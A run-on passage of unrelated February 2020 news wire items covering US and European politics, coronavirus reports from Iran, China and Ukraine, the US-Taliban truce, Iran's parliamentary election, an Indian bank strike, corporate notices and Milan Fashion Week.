Norway, Yi Xianliang, rebutted a Norwegian Intelligence Service report that concluded China posed a growing threat. Chinas envoy in Sweden has a record of run-ins with the government there. The wall of pushback is a reminder that China remains a prickly partner for Europe, even as U.S. pressure might be expected to push Beijing and Brussels closer together. The European Union, President Donald Trump said last month, treats the U.S. worse than China. Trumps appointment as acting director of national intelligence of Richard Grenell, the combative U.S. ambassador to Germany, suggests Europe will remain firmly in his sights. With an emboldened Trump in the White House, Europe may have nowhere left to turn. Global Headlines Taking fire | Michael Bloomberg came under sustained attack in a spirited Democratic debate that saw Elizabeth Warren compare him to Trump in his treatment of women and Bernie Sanders assail him over his attitude toward minorities. The focus on Bloomberg deflected some of the heat that Sanders might have otherwise gotten from his rivals as the current front-runner in the race, though he didnt completely escape criticism, particularly from Pete Buttigieg. The debate came at a pivotal moment, with the Nevada caucuses Saturday, followed a week later by a primary in South Carolina. Story continues (Bloomberg is the founder and majority owner of Bloomberg LP, the parent company of Bloomberg News.) Click here for more key takeaways from last nights face-off. Economic impact | The White House has acknowledged what many economists considered obvious through much of last year: Its trade stance depressed economic growth and business investment. Uncertainty generated by trade negotiations dampened investment, Trump chief economist Tomas Philipson told reporters in an annual briefing. The admission contrasted with the presidents repeated assertions that his tariff tactics hadnt hurt the economy while swelling the governments tax coffers. Irans pain | When Hassan Rouhani was elected president of Iran in 2013, supporters hoped hed revive the countrys fortunes and its relationship with the rest of the world. But as Golnar Motevalli explains ahead of parliamentary elections tomorrow, even amid U.S. sanctions pressure, the shooting down of a Ukrainian passenger jet full of Iranians by their own military last month provides a tragic reminder of how the country has alienated the very people who swept Rouhani to power. Seeking redemption | Saudi Arabia is hoping to repair its tarnished international reputation when it welcomes leaders from the worlds biggest economies this weekend. Officials see the Group of 20 meeting of finance ministers and central bank governors as a chance to highlight the Kingdoms reforms that have been overshadowed by outrage over a murdered critic, a crackdown on dissent and Riyadhs leading role in the grinding five-year war in Yemen. Rising star | Giorgia Meloni has gone from bartending at a Roman nightclub to leading one of Italys main political forces which traces its roots to fascism and shes now one of the most popular politicians in the nation. As John Follain explains, while the 43-year-old Meloni doesnt define herself as a feminist, shes aiming to become Italys first woman prime minister. What to Watch EU leaders travel to Brussels today to thrash out the blocs next long-term budget. Trump ally Roger Stones sentencing today has become a test of judicial independence after the president inserted himself in the courts deliberations. Irelands parliament meets to try to choose a prime minister, the first step in whats likely to be a prolonged search for a new government. U.S. Secretary of State Michael Pompeo has criticized Chinas move to revoke the press credentials of three Wall Street Journal reporters over a controversial headline, a decision that comes as Beijing continues to lash out at countries that fault its handling of the deadly coronavirus outbreak. Tell us how were doing or what were missing at balancepower@bloomberg.net.And finally ... Japan is emerging as one of the riskiest places for the spread of the coronavirus, prompting criticism of Prime Minister Shinzo Abes government. And with cases mounting internally to 84 tying with Singapore for the highest outside China Tokyo received a rare rebuke from the U.S. Centers for Disease Control and Prevention over its management of the quarantine on the Diamond Princess cruise ship, where infections surged during two weeks docked in Yokohama. --With assistance from Ruth Pollard and Gordon Bell. To contact the author of this story: Alan Crawford in Berlin at acrawford6@bloomberg.net To contact the editor responsible for this story: Karl Maier at kmaier2@bloomberg.net, Kathleen Hunter For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Banks will be closed for three consecutive days starting today in Mumbai, Bengaluru, Ahmedabad and several other cities on account of Maha Shivratri festival. Tomorrow will also be an off as it is the fourth Saturday of the month. Other prominent cities where the RBI has declared holiday on Friday a holiday include Thiruvananthapuram, Srinagar, Ranchi, Lucknow, Kanpur, Hyderabad and Dehradun. Banks in other major cities including Delhi, Chennai, Kolkata and Patna will remain functional. Besides, the Bank Employees Federation of India (BEFI) and All India Bank Employees' Association (AIBEA) will also hold a three-day nation-wide strike over wage hike from March 11-13. Interestingly, the strike has been timed in such a way that it'll have a major impact on the banking operations for around a week in March. Apart from Holi holiday on March 10, the banking operations will be hit on second Saturday (March 15) of the month. In total, operations could be affected from March 10-16. AIBEA in a statement said its first phase of the two-day strike was a resounding success. It added the massive participation in the strike throughout the country demonstrated employees' dissatisfaction. "Let us prepare ourselves for the second phase of our agitation commencing from 11th March 2020 to 13th March 2020 as the budget announcements are loud and clear to privatise the profit-making financial institutions to bridge the deficit budget," the bank employees' union said. The unions are demanding a 20 per cent hike on payslip components with adequate loading. In the latest round, IBA had improved their offer to 12.5 per cent, but this was not acceptable, the unions had said. The bank employees unions have now called another strike after talks over the wage revision failed to initiate with the Indian Banks' Association. Also read: Alert! Bank strike to hit services for six days in March Iran confirms two new deaths, 13 more coronavirus cases 02/21/20 Source: Press TV Iran's Health Ministry has confirmed two more deaths among 13 new cases of coronavirus, putting the total number of deaths so far in the country at four. Tehran and Suburbs Bus Company starts disinfecting buses on February 21 as a prevention measure to curb the spread of the new coronavirus in Tehran. (Photo by ISNA) Kianoush Jahanpour, the head of public relations and information center of the Iranian Ministry of Health, said on Friday that most of the cases are either residents in the holy city of Qom or people who have traveled to Qom in recent days and weeks. He added that the new cases comprised seven in Qom, four in the capital Tehran and two in the northern province of Gilan. "Unfortunately two of them have lost their lives." # / 2 4 / : https://t.co/XSmXKcDkrZ pic.twitter.com/krQQxVc3kY ILNA/ (@ilnanews) February 21, 2020 The outbreak of coronavirus - known as COVID-19 - in Iran first occurred on February 19, when health authorities in Qom confirmed the death of two elderly people as a result of a first incidence of the infection in the country. Jahanpour added that two people suspected of carrying the virus had been quarantined in the city of Babol, the northern province of Mazandaran, but the test results have not been announced yet. Meanwhile, in a post on his Twitter account, Jahanpour said Iran received the fourth shipment of medical kits used for the detection of COVID-19 by Representative of the World Health Organization (WHO) in Iran Christoph Hamelmann via Dubai, the United Arab Emirates, on Friday. China on the same day raised the death toll to 2,236, most of them in the province of Hubei, where the virus was first detected. More than 75,000 have now been infected in China and over 1,100 abroad. Police officials including the Mangaluru city Commissioner of Police P S Harsha would be summoned to appear before the panel conducting a magisterial probe into December 19, 2019 firing on anti-CAA protesters in the city which left two people dead. Notices would be served on 176 police officers and staff to appear for hearing, Udupi deputy commissioner G Jagadeesha, conducting the magisterial probe into the incident said here on Thursday. He told reporters that officials, including the city police commissioner Harsha, would be summoned to depose on the violence which led to police firing that killed two people. Mangaluru (North) Assistant Commissioner K U Belliappa, who is the nodal officer for the police department, has given a list of 176 policemen who are ready to adduce evidence in the hearing. The police officers would be summoned in phases. The next hearing is on February 25. He said so far, 203 members of the public have deposed before him on the incident. Former city Mayor K Ashraf, who is under treatment in hospital, has also provided a written statement. The remaining members of the public can provide evidence during next hearings, he said. On December 19, two people were killed in police firing as protests against the Citizenship Amendment Act (CAA) turned violent here. The protesters had attempted to besiege the Mangaluru north police station and tried to attack police personnel, following which force was used to disperse them, police had said. Two people received bullet injuries in the firing and they later succumbed at a hospital, the police had said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The WTO has found that the worlds two largest plane makers received billions of dollars of unfair subsidies in cases dating back to 2004 (Photo: AP) Washington state lawmakers moved on Wednesday to remove a key tax break for Boeing and other aerospace firms in a bid to head off possible European tariffs on US goods, and ease a transatlantic trade dispute over aircraft subsidies. The US last week toughened its own tariffs on aircraft built by Boeing's arch-rival, Europe's Airbus, after winning approval last year from the World Trade Organisation (WTO) to penalise European goods over Airbus subsidies. The EU is widely expected to win approval to use a similar trade weapon to penalise imports of US goods when a parallel case over US support for Boeing comes to a head during the spring. The WTO has found that the world's two largest plane makers received billions of dollars of unfair subsidies in cases dating back to 2004. It has faulted both sides for failing to comply fully with previous rulings, opening the door to a tariff war. After years of debate, the focus of the European case against the United States involves a preferential state tax rate for aerospace introduced 16 years ago and renewed in 2013 to help attract production work for Boeing's 777X. Washington state lawmakers in Olympia said they had introduced bills that would remove the 40pc saving on business and occupation tax, which saved Boeing some $118m (109m) in 2018, based on published jetliner revenues. "There is broad agreement in Olympia that we need to act this session to address the WTO issue in order to avoid retaliatory tariffs that would damage not just our commercial aircraft industry, but other important Washington exports," governor Jay Inslee said in a statement. He said Boeing had now asked for the breaks to be removed. Boeing said it fully supports legislation to reverse the tax breaks. Reuters Saudi-led coalition says several ballistic missiles launched by Houthi rebels were aimed towards Saudi cities. Saudi Arabia says it has intercepted and destroyed several ballistic missiles launched by Yemens Houthi rebels towards Saudi cities, in the latest cross-border attack. The missiles were fired from the Yemeni capital, Sanaa at 12:30am Friday and were aimed at cities and civilians, the Saudi-UAE-led coalition fighting the Yemeni group said, Saudi state news agency SPA reported. They were launched in a systematic, deliberate manner to target cities and civilians, which is a flagrant defiance of international humanitarian law, coalition spokesman Turki al-Malki said, according to the SPA. The capital (Sanaa) has become a Houthi militia assembly, installation and launching-hub for ballistic missiles that target the kingdom, he added. A Houthi military statement said the group had successfully attacked oil giant Saudi Aramco and sensitive targets in the Red Sea port city of Yanbu using drones and ballistic missiles, without providing evidence. A Houthi spokesman quoted by the rebels al-Masirah TV on Friday stressed that the targets were hit with precision and promised further attacks against Saudi Arabia in case of continued aggression and economic blockade. Aramco, the kingdoms state-owned oil company, declined to comment. The incident comes ahead of a gathering of finance ministers and central bankers from the Group of 20 major economies in Riyadh. The G20 meeting continued as scheduled. It was unclear if any of the projectiles had been fired towards Riyadh, which has been targeted previously. Saudi Arabia has repeatedly accused Iran of supplying sophisticated weapons to the Houthis, a charge Tehran denies. The coalition intervened in support of the Yemeni government in 2015 when President Abd-Rabbu Mansour Hadi fled into Saudi exile as the rebels closed in on his last remaining territory in and around Aden. Tens of thousands of people, many of them civilians, have been killed in the conflict, relief agencies say. The fighting has triggered what the United Nations describes as the worlds worst humanitarian crisis, with millions displaced and in need of aid. Regulatory News: Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) ("PSH") today announced that it has purchased, through PSH's agent, Jefferies International Limited ("Jefferies"), the following number of PSH's Public Shares of no par value (ISIN Code: GG00BPFJTF46) (the "Shares"): Trading Venue: London Stock Exchange Ticker: PSH Date of Purchase: 21 February 2020 Number of Public Shares purchased: 20,035 Shares Highest Price Paid Per Share: 1,568 pence 20.34 USD Lowest Price Paid Per Share: 1,558 pence 20.21 USD Average Price Paid Per Share: 1,563 pence 20.27 USD Ticker: PSHD Date of Purchase: 21 February 2020 Number of Public Shares purchased: 9,634 Shares Highest Price Paid Per Share: 20.20 USD Lowest Price Paid Per Share: 20.20 USD Average Price Paid Per Share: 20.20 USD Trading Venue: Euronext Amsterdam Ticker: PSH Date of Purchase: 21 February 2020 Number of Public Shares purchased: 22,149 Shares Highest Price Paid Per Share: 20.25 USD Lowest Price Paid Per Share: 20.15 USD Average Price Paid Per Share: 20.20 USD PSH will hold these Public Shares in Treasury. The net asset value per Public Share related to this buyback is 27.92 USD 21.48 GBP which was calculated as of 18 February 2020 (the "Relevant NAV"). After giving effect to the above buyback, PSH has 203,349,994 Public Shares outstanding, or 209,053,561 Public Shares calculated on a fully diluted basis (assuming that all Management Shares had been converted into Public Shares at the Relevant NAV). Excluded from the shares outstanding are 7,606,756 Public Shares held in Treasury. The prices per Public Share were calculated by Jefferies. The number of PSH Management Shares and the one special voting share (held by PS Holdings Independent Voting Company Limited) have not been affected. About Pershing Square Holdings, Ltd. Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) is an investment holding company structured as a closed-ended fund that makes concentrated investments principally in North American companies. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005402/en/ Contacts: Media Contact Camarco Ed Gascoigne-Pees Hazel Stevenson +44 020 3757 4989, media-pershingsquareholdings@camarco.co.uk Photo: The Canadian Press FILE - This Feb. 19, 2020 file photo shows U.S. Secretary of State Mike Pompeo at a news conference at the United Nations Economic Commission for Africa, in Addis Ababa, Ethiopia. The countdown to the signing of a peace agreement between the Taliban and the United States to end the 18 years of war in Afghanistan will begin on Friday night, when the seven-day reduction of violence" promised by the Taliban will go into effect, a senior U.S. State Department official said. The deal will be signed on Feb. 29.(Andrew Caballero-Reynolds/Pool via AP) A temporary truce between the United States and the Taliban took effect on Friday, setting the stage for the two sides to sign a peace deal next week aimed at ending 18 years of war in Afghanistan and bringing U.S. troops home. If successfully implemented, the weeklong reduction in violence agreement, which came into force at midnight Friday local time (1930 GMT, 2:30 p.m. EST), will be followed by the signing of the peace accord on Feb. 29, wrapping up America's longest-running conflict and fulfilling one of President Donald Trump's main campaign promises. Friday's announcement of an agreement on terms for a peace deal follows months of negotiations between the two sides that have broken down before. Yet both parties have signalled a desire to halt the fighting that began with the U.S. invasion after the September 11, 2001, attacks by Osama bin Laden's Afghanistan-based al-Qaida network. Should the truce stand, the U.S.-Taliban deal would be followed within 10 days by the start of all-Afghan peace talks that could result in the formation of a new government in Kabul, a pledge from the Taliban not to allow terrorist groups to operate in the country, and the phased withdrawal of U.S. and other foreign troops over 18 months. The plan is a gamble for Trump, who retweeted several news accounts of the agreement. If it's successful, he will be able to claim to have taken a first step toward meeting his 2016 campaign pledge to bring American troops home. But if it fails, Trump could be painted by his Democratic adversaries in an election year as being naive and willing to sacrifice the security of U.S. soldiers and American interests for the sake of political expediency. For the Taliban, the successful completion of the truce and Afghanistan peace talks would give the group a shot at international legitimacy, which it lacked at the time it ran the country and gave bin Laden and his associates safe haven. The truce, to be monitored by American forces, will likely be fragile and U.S. officials have noted the possibility that spoilers uninterested in peace talks could disrupt it. Determining who is responsible for potential attacks during the seven days will therefore be critical. Both sides were cautiously optimistic in announcing the agreement that had been previewed a week ago by a senior U.S. official at an international security conference in Munich, Germany. The announcement had been expected shortly thereafter but was delayed in part because of Monday's release of the results of Afghanistan's disputed September 2019 elections that showed President Ashraf Ghani winning by an extremely narrow margin. U.S. Secretary of State Mike Pompeo said in a statement that the peace agreement, to be signed in Doha, Qatar, by U.S. special envoy for Afghanistan Zalmay Khalilzad and Taliban representatives, will eventually lead to a permanent cease-fire. The deal also envisions guarantees from the Taliban that Afghanistan will not be used to attack the U.S. or its allies. We are preparing for the signing to take place on February 29," Pompeo said. Intra-Afghan negotiations will start soon thereafter, and will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political road map for Afghanistan." The Taliban, meanwhile, said in a statement that the agreement is intended to achieve nationwide peace and and end to the foreign troop presence in the country. The statement said both sides will now create a suitable security situation ahead of the agreement signing date, invite international representatives to a signing ceremony, arrange for the release of prisoners, structure a path for peace talks, and finally lay the groundwork for peace across the country with the withdrawal of all foreign forces. The Taliban added that they will not allow the land of Afghanistan to be used against security of others so that our people can live a peaceful and prosperous life under the shade of an Islamic system." But the road ahead is fraught with difficulties, particularly as some Taliban elements and other groups have shown little interest in negotiations. An attack that killed two Americans last September disrupted what at the time was an expected announcement of a peace deal. And, it remained unclear who would represent Kabul at the intra-Afghan talks. Ghani's rivals have disputed the Afghan election commission's declaration that he won the presidential election. The Taliban have refused to talk to Ghani's government and also denounced the election results, saying they will talk to government representatives but only as ordinary Afghans, not as officials. Germany and Norway have both offered to host the all-Afghan talks, but no venue has yet been set. Pompeo did not say who would represent Kabul, only that talks "will build on this fundamental step to deliver a comprehensive and permanent cease-fire and the future political road map for Afghanistan." Under the terms of the reduction in violence" which covers all of Afghanistan and also applies to Afghan forces as well as the United States and Taliban all sides have committed to end attacks for seven days. For the Taliban, that includes roadside bombings, suicide attacks and rocket strikes. The Taliban military commission issued instructions to its commanders to stop attacks from Feb. 22 against foreign and Afghan forces until Feb 29. The peace deal also calls for the release of 5,000 Taliban prisoners, most of whom are being held by the Afghan government. Although the U.S. has already discussed the prisoner release with government representatives, there has been no public announcement about it from Ghani's government. Neighbouring Pakistan, which has long been accused of backing the Taliban, welcomed the reduction-in-violence plan. 'We hope the Afghan parties would now seize this historic opportunity and work out a comprehensive and inclusive political settlement for durable peace and stability in Afghanistan and the region, said a Pakistan Foreign Ministry statement. Pakistan hosts more than 1.4 million Afghan refugees. During any withdrawal, the U.S. would retain the right to continue counter-terrorism operations in Afghanistan, which have been focused mainly on an Islamic State group's affiliate and al-Qaida, according to Pentagon officials. Iranians took to the polls Friday in an election expected to see conservatives tighten their grip on parliament, amid voter apathy after the disqualification of thousands of candidates. Polls shut at midnight (2030 GMT) after at least five extensions beyond the originally scheduled 6:00 pm (1430 GMT) closing time to allow a maximum number of people to cast their ballots. Supreme leader Ayatollah Ali Khamenei had urged all Iranians to take part as he cast the first ballot in the election, saying that doing so would "guarantee the country's national interests". The 11th parliamentary election since the 1979 Islamic Revolution comes after a surge in tensions between Tehran and Washington, and Iran's accidental downing of a Ukrainian airliner that sparked anti-government protests. Turnout was estimated at around 40 percent nationwide and 30 percent in Tehran at 1430 GMT, according to Fars news agency, close to the ultra-conservatives. Fars said the official turnout figure would be released on Saturday, while results are not expected to be announced until Sunday. Authorities announced schools will be closed Saturday in dozens of urban centres to allow for ballot counting. Voters formed long queues in the morning at polling stations in south Tehran, where conservatives have a solid support base. Far fewer were seen waiting to vote in upmarket northern neighbourhoods. State television showed images from more than 20 cities and towns of people still queued up to vote around 8:00 pm while announcing the second extension. Some voters in a downtown Tehran mosque said they had turned up late for voting as it was a last-minute decision, an AFP journalist reported. The election coincided with an outbreak of the new coronavirus that authorities say has killed four people in the Islamic republic this week. One official accused Iran's enemies of overplaying the spread of the disease in a bid to harm the credibility of the election. Experts had predicted a low turnout that they said would serve the conservatives at the expense of President Hassan Rouhani, re-elected in 2017 promising more freedoms and the benefits of engagement with the West. - 'Broken promises' - Iran fell into a deep recession after US President Donald Trump reimposed sanctions following Washington's unilateral withdrawal from a landmark nuclear deal in 2018. Amir Bahador Marzpour, a humanities student in Tehran, was one of the many who shunned the election. "I didn't vote because politicians make promises they don't keep," the 18-year-old said, voicing concern about runaway inflation. "There are no jobs for young people, and when we finish our studies we won't have jobs." Around half of the 16,033 hopefuls in the election were barred by the powerful Guardian Council, most of them moderates and reformists. Iran's beleaguered president, who has come under fire over the sluggish economy, took another hit Friday as a multinational terrorism financing watchdog reinstated sanctions on the country. The 38-nation Financial Action Task Force said Iran had not taken sufficient measures against money laundering and the financing of terrorist groups. - Rouhani under fire - According to the interior ministry, turnout has always been higher than 50 percent in the 10 previous legislative elections. Many voters voiced disillusionment. Real estate worker Alireza Hashemi, 25, criticised Rouhani's government. "After we elected Rouhani everything collapsed. He signed a very bad (nuclear) deal and looked to the West without any real guarantees," he told AFP. But for Mohsen Jallali, the elections were "completely fair... There was a problem with the candidates who were rejected," he said. As Rouhani voted, he sought to put a positive spin on the election. "We are very happy that another glorious day is being added to the history of our country and revolution," he said. - 'Only a formality' - In November, demonstrations over petrol price hikes spread across Iran and turned violent before being crushed in a deadly crackdown. Tehran and Washington have nearly gone to war twice in the past seven months, most recently after the US assassinated prominent Iranian general Qasem Soleimani on January 3. Millions of people turned out to mourn his "martyrdom", but that unity suffered a blow after Iran admitted it had on January 8 accidentally shot down a Ukrainian airliner, killing 176 people. The final results of the election, for 290 parliamentary seats across 31 provinces, are not expected before Sunday. As well as selecting parliamentarians, voters will choose replacements for deceased members of the Assembly of Experts, an 88-strong clerical body tasked with appointing and monitoring the supreme leader. LANGOUSTINES DROOPED FROM above, their whiskers trailing like vines. Below them, the table was laden with duck potpies, caviar and great loaves of pate; lobster tails spilling from a ceramic shell nearly as large as the one that birthed Venus; lamb chops with the bones jutting out amid cracked-open pomegranates yielding glittering ruby seeds. Some of this could be eaten the lobster tails were replenished every few minutes, a seemingly endless supply but what could be done with a swan built to scale out of artichoke petals, or kumquats rising to a tall, narrow peak that recalled the perilous architecture of a croquembouche? This was less banquet than elaborate tableau, staged last spring by the New York caterer Olivier Cheng to mark the opening of the Hermes boutique in Manhattans meatpacking district. Extravagant food displays have become a motif at high-end fashion, design and other events in the past few years, from the pyramid of shrimp layered with roses and the three-foot-long challah surrounded by butter renditions of the face of Michelangelos David, created by the New York-based artist Laila Gohar for the opening of the Galeries Lafayette Champs-Elysees in Paris in March, to an event last October at Longchamps SoHo boutique, where the Brooklyn catering company known as BoardGirlsNY dispensed with serving ware and instead heaped food directly on the six-foot-long table, a sprawl that was at once wreckage and bounty, with macarons tilting up against raw broccoli florets, cherry tomatoes tumbling over coins of salami and giant rough-hewn cantaloupe halves daring someone to scoop out their flesh. In another era ancient Rome, perhaps, or 18th-century France such profligacy might have been interpreted as the last gasp of a blinkered privileged class before the revolution. But now a strange satirical spirit appears to be at play, self-consciously looking back to the debaucheries of antiquity with a knowing eye. The Hermes feast was so excessive as to become a commentary on excess, on the enormous marshaling of resources, expenditure of labor and frenzied attention to detail devoted to the ephemeral pleasures of a single night. In this it served as a metaphor for fashion itself and the great machinery of artifice that each fleeting season creates clothes and accessories to be exulted over, scrambled after and then pushed to the back of the closet to make way for the new. Research into engineering artificial organs that mimic the functions of human lymph nodes at The University of Alabama in Huntsville (UAH) has garnered one of its professors a $507,777 National Science Foundation (NSF) Faculty Early Career Development Program (CAREER) Award. The award-winning research by Dr. Kyung-Ho Roh, a UAH assistant professor of chemical and materials engineering, could have broad implications for immunotherapy and cancer treatment. The NSF CAREER Award is the foundation's most prestigious honor for junior faculty members who exemplify the role of teacher-scholars through outstanding research, excellent education and the integration of education and research. When our body is infected with bacteria or viruses, some special immune cells are 'primed' within the lymph nodes to fight against these 'bugs'. More specifically, there are immune cells named B-cells that are responsible for producing a special set of molecules called antibodies that can recognize and bind to these 'bugs' so that our body can clear them out." Dr. Kyung-Ho Roh, UAH assistant professor of chemical and materials engineering The team at his Molecular and Cellular Immunoengineering Laboratory in the UAH Engineering Building is trying to achieve the priming of B-cells in an artificially created engineered system outside of the body. "Once successful, this research can be useful for various critical biomedical applications," Dr. Roh says. "First, we can use such artificially primed B-cells as living therapeutics that can provide the useful antibodies for an extended period within the patient's body. Second, using the artificial lymph node, we can discover various antibody molecules that can recognize various pathogens or even our own cancers. Third, we can develop safer and cheaper vaccines. Lastly, the artificial system can be used as a critical research tool for studying the physiology of immune-cell related cancers such as lymphomas and leukemias." Initial development of the hydrogels and microfluidic devices that are the basic foundation of the research project is complete. Now the project is moving forward to use and combine the individual engineering platforms to realize the collective system that can mimic the functions of the lymph nodes. "For this project, we need a very diverse set of expertise spanning from biomaterials engineering and microfluidics to cellular and molecular biology and immunology," Dr. Roh says. "For example, in order to mimic the mechanical properties of the physiological soft tissues we are developing novel biomaterials such as polymeric hydrogels," he says. "To culture the B-cells within a controlled chemical environment, we develop and utilize microfluidic devices. For the proper characterizations of the resulting B-cells, various methodologies from cellular and molecular biology are routinely employed." In the lab, graduate students with diverse backgrounds are collaborating to tackle these challenging interdisciplinary research tasks. Dr. Roh's team is also collaborating with local and international partners such as the HudsonAlpha Institute for Biotechnology and CFD Research Corp. "In addition to the research activities mentioned above, I will continue to improve my role as an educator. I will develop interdisciplinary educational curricula and continue to nurture the collaborative local networks that can provide a sustainable education and research environment for immunoengineering," Dr. Roh says. He wants to encourage the participation of the next generation of students from broader socioeconomic groups of North Alabama and to enhance public knowledge of immunoengineering research activities and their applications. "My primary goal as an educator is to train many undergraduate and graduate students in this highly multidisciplinary topic of immunoengineering to meet the increasing societal demands for such critical skill sets." Dr. Roh says he received the news of his CAREER Award with a mixture of emotions. "It was exciting because it assures me that I will be able to continue working on this very significant project and because this award in a way means that the research topics and ideas that we proposed to study are highly appreciated by the leaders in the field," he says. "And the name of the award, CAREER, made me look back and be grateful to everyone who has enabled me to become what I am in my career." Badly affected by the epidemic, Beijing wants to restore normal economic relations with its southern neighbours. China is the bloc's top trading partner and a major investor. Almost all Southeast Asian countries have reduced exchanges with mainland China. Bad relations between China and Vietnam could impact on anti-coronavirus cooperation. Vientiane (AsiaNews/Agencies) China and the Association of Southeast Asian Countries (ASEAN) met in Vientiane, Laos, to coordinate efforts against the spread of the COVID-19 virus, which has caused the death of more than 2,000 people in China and affected some ASEAN members, most notably Singapore, Thailand, Malaysia and Vietnam. A similar meeting was held in 2003 to deal with the SARS epidemic. The two sides plan to exchange information and discuss further steps, with permanent contact to respond more quickly to the evolving emergency. Beijing clearly wants business with its southern neighbours to go back to pre-coronavirus levels. China is ASEANs first trading partner. Trade between the two sides reached US8 billion in 2018, with China accumulating a surplus of US billion, according to the International Monetary Fund. In China itself, the COVID-19 outbreak has negatively impacted economy, already affected by the trade war with the United States. Beijing's support for manufacturing sector could divert resources from its Belt and Road Initiative, the new Silk Roads, Xi Jinping's strategy to boost trade between China and the rest of the world. Southeast Asia plays a central element in this plan. According to the United Nations Conference on Trade and Development (UNCTAD), China is also a major investors in ASEAN countries, almost US billion in 2018 (twice as much if Hong Kong is counted) Despite the show of solidarity, and reassurances from Chinese Foreign Minister Wang Yi that COVID-19 is "controllable and curable", ASEAN countries are unwilling to lift the measures adopted to contain the epidemic, even if they harm the Chinese economy. Thailand only allows travellers from China if they have a clean bill of health. Singapore and the Philippines have restricted flights, whilst Vietnam quarantines all foreign visitors who visited China in the two weeks prior to entering the country. Malaysia has imposed a total ban on people from the Chinese provinces of Hubei, Zhejiang and Jiangsu. Cambodia, which is politically and economically aligned with China, has not introduced restrictions on travel to and from China. The success of cooperation between Beijing and ASEAN on the epidemic will depend on the attitude Vietnam, ASEANs current chair. Relations between Hanoi and Beijing are at an all-time low due to territorial disputes in the South China Sea, which also involve other ASEAN states (Philippines, Malaysia, Brunei and Indonesia). Milan Fashion Week opened Wednesday with outreach to China, largely cut off from the rest of the world by a new virus, and to Africa, often overlooked by luxury except as references. New York-based Chinese designer Han Wen presented a runway show on the eve of the main calendar, standing in for three Chinese designers who had been scheduled to show in Milan but were blocked by the spread of the new coronavirus. As will be key events this week, Hans show was shared on Chinese social media platforms as part of the Milan Fashion Chamber initiative China We Are With You, reaching out to the estimated 1,000 journalists, buyers and industry insiders in China who wont be able to make it to Milan as planned this season. The Milan Fashion Hub also featured collections by five African designers, showing for the first time in Milan and who will be given visibility in some of the 11 luxury shopping outlet villages operated by the Value Retail Group. Highlights from the first day of womens wear 2020-21 fall-winter previews: Backstage at Gucci Back-stages secrets were out in the open at Gucci. Models were made up in the foyer as the fashion crowd arrived for the show. And they dressed on a rotating runway at the center of a circular show room, overseen by creative director Alessandro Michele, just out of view in the center. Michele said he wanted to demystify back-stage rituals, which he likened in a series of mixed metaphors to a religious rite, to cinema, to a circus. We are all on that stage. Fashion is a complex mechanism, a sacred thing. We all work for this rite that is almost religious, Michele told reporters after the show. The collection reflected his mix of costuming and eccentricity, offering to the growing Gucci tribe multitudinous expressions that are gender fluid but also allow perhaps a pure form of self-expression by diving deep into the psyche. As in menswear, Michele explored childrens clothes for adults, and it is not a stretch to say that his Gucci tenure, in its sixth year, is also sort of elaborate dress-up game, giving men and women the freedom to express themselves in ways they perhaps wouldnt imagine on their own. Or, better put, to create a self they may only recognize when they see it on the runway. How else to explain a baby-doll dress worn with patent leather collar, a French maids lace-trim mini-uniform with torn stockings and a riding hat and studded booties, or a pilgrim collar on a long black velvet dress and a large flat-top hat, tiered ball gowns straight out of a Little Women costume drama, and a bonnet with cat ears worn with a small smock dress. I did a bit the job of a costume designer, looking at things almost as a disguise, Michele said. Then there were things done with great abundance, like bows that appeared to be created at the last minute by a mother, that belonged to other eras of childhood. No. 21 celebrates a decade Alessandro Dell Acqua celebrated a decade of his No. 21 brand with new twists of his brand classics -- and with an updated remix of his favorite Pat Benatar number, Love is a Battlefield, which habitually closes the show. An oversized mans shirt in a classic blue-and-white stripe was the centerpiece of the womens wear collection. It was worn suggestively as a mini dress under knitwear decorated with safety pin-patterned bursts, or with a sequin slit skirt and matching jacket with shearling accents. Lace and florals, feathers and sequins underscored the feminine attitude, which got an edge with punk hardware like chain accents on shoes, along plunging necklines or as a belt and halter on an emerald green sequin dress. The oversize silhouette in, say, a leather jumpsuit was contrasted with a form-fitting sweater tucked into a skirt in contrasting plaids befitting Milans bourgeois, which has inspired generations of Italian designers. I worked on all everything that has been my obsession over these last 10 years, but without nostalgia because I didnt want be self-referential, Dell Acqua said backstage. (This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed.) Follow more stories on Facebook and Twitter Ukraine's security service said the fake email that was supposedly from the Ministry of Health had actually been sent from outside the country. A dangerous mix of fear and fake news about the coronavirus has sparked violent protests in Ukraine, despite there being no confirmed cases in the country. Protests and clashes with riot police have broken out in several places after a mass email claiming to be from Ukraine's health ministry spread false information that there were five cases of coronavirus in the country, on the same day a plane carrying evacuees from China arrived. Protesters have smashed the windows of buses carrying evacuees and set fire to makeshift barricades, BuzzFeed News Contributor Christopher Miller wrote in an article on February 20, 2020. But the email, sent to the Ministry of Health's entire contact list, had actually originated from outside Ukraine, the Security Service of Ukraine (SBU) said in a statement. Only two Ukrainians have been infected with the coronavirus and they are aboard the Diamond Princess cruise ship docked in Japan, and they've already recovered. In Ukraine, where trust in the health care system and the government is low, anxiety about the outbreak spread as fast as the fake news claiming the first cases had arrived in the country was disseminated online. It didn't seem to matter that Ukraine's Center for Public Health put out a message warning of the fake news or that President Volodymyr Zelensky said authorities had everything under control. Read alsoProvocateurs who radicalized rally against Wuhan evacuees "not local", police found "Attention! The reports about five confirmed cases of COVID-19 coronavirus in Ukraine are UNTRUE," the Center for Public Health said in a statement, referring to the official name of the disease caused by the coronavirus. But the messages trying to reassure people were not the ones that went viral. Tensions reached a fever pitch by midday in the village of Novi Sanzhary, in Ukraine's central Poltava region, where residents protested the arrival of the evacuees over fears they could be infected with the coronavirus, including smashing the windows of buses transporting them. As the skirmish dragged on, Ukraine's National Guard had to counter what it said was more fake news, this time about the medical staff at Novi Sanzhary's hospital fleeing the facility. Nina Jankowicz, a disinformation fellow at the Wilson Center and author of the forthcoming book How to Lose the Information War, told BuzzFeed News that health-related disinformation and misinformation has huge potential in Ukraine because there is mistrust in the state health care system, which is widely viewed as inefficient and subpar. "Combine this with mistrust toward official government information sources and a sensationalist media and you have a recipe for panic, especially with a pandemic like coronavirus," she said. Read alsoAs gesture of solidarity, Ukraine's Health Minister ready to join in with quarantined evacuees from China As 